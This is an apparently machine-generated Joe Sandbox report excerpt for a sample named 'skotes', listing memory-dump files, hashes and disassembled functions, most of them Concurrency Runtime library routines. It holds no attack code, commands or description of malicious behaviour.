Instruction Fuzzy Hash: B4F0BEB364D1507DA202A1412A059F67B6DE5C7734339C8ABF442CB407E7990A08B236

Function 04B40E3A Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2965441230.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4372ee7e0c919d79d43f766d6ec7108ee1498fb18343344ff2a79c36da5d0339
Instruction ID: 276a7ada87bc6a3087f8e9b9350e76356ebe6974b3a0048e139d02cd82afdaf8
Opcode Fuzzy Hash: 4372ee7e0c919d79d43f766d6ec7108ee1498fb18343344ff2a79c36da5d0339
Instruction Fuzzy Hash: 99E046E768C0117D2002A0463B14AFB676DE1D3730334C8BBF203C6406BB8A2A5E7031

Non-executed Functions

Function 00ED0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED0F62

Part of subcall function 00ED265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00ED2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00ED0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00ED106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00ED10C1

Strings

(, xrefs: 00ED0F22

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 0fa8d0edffb69e2e9cf7ac03d0363117a15d55c7886ffa16c31c3780ca92fb93
Instruction ID: 2e58b7524f28eeec40e0b1025aca079207df99bd2cc20bae540b8cb52e565039
Opcode Fuzzy Hash: 0fa8d0edffb69e2e9cf7ac03d0363117a15d55c7886ffa16c31c3780ca92fb93
Instruction Fuzzy Hash: EFB15EB0A00615EFDB18CF68D981B79B7B5FF84704F15916EE905AB381D731AD82CB90

Function 00ED1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00ED2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00ED1614

Part of subcall function 00ED2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00ED2E39
Part of subcall function 00ED2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00ED2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00ED1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00ED17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00ED17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00ED17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00ED180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00ED181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00ED1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00ED183B

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 0e62c5a82a385c6068fdfc60c24c42c6ab4704ee4686223a6b116200f648b649
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 64814775A00225AFCB19CFA8C580A6DBBF2FF48304B1556AEE455AB711C770ED52CB84

Function 00EDEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EDEC81

Part of subcall function 00ED8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00ED8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00EDECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00EDECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00EDED0C

Part of subcall function 00EDE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00EDE7D7
Part of subcall function 00EDE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00EDE86F
Part of subcall function 00EDE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00EDE879
Part of subcall function 00EDE7AF: Concurrency::location::_Assign.LIBCMT ref: 00EDE8AD
Part of subcall function 00EDE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00EDE8B5

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: bd24a87eb9b608a961495cd87abe1561a16056e4d2e4f4044e7c4880def4016f
Instruction ID: 2ebaf56053bbe06be969f8a92c825c370017bf059cd39673e5587d6e7067827a
Opcode Fuzzy Hash: bd24a87eb9b608a961495cd87abe1561a16056e4d2e4f4044e7c4880def4016f
Instruction Fuzzy Hash: 84516031A00209ABCF15EF60C899FADB776EF44314F15506AE9067B396CF71AE06CB91

Function 00ECCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00ECCBAA

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 8e2eba196aba62f897b446d1d5615a538d3211b6fec30ff6406362736af1137b
Instruction ID: dee26eb19be3ec3721f8fbd12b8949cc7504544d56cfe6ae605b4d924ba80d33
Opcode Fuzzy Hash: 8e2eba196aba62f897b446d1d5615a538d3211b6fec30ff6406362736af1137b
Instruction Fuzzy Hash: E5B09232E1383887CA516B54BC08A9D7714AA80E1134A615AD801A7224CE112D826BD4

Function 00ECDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
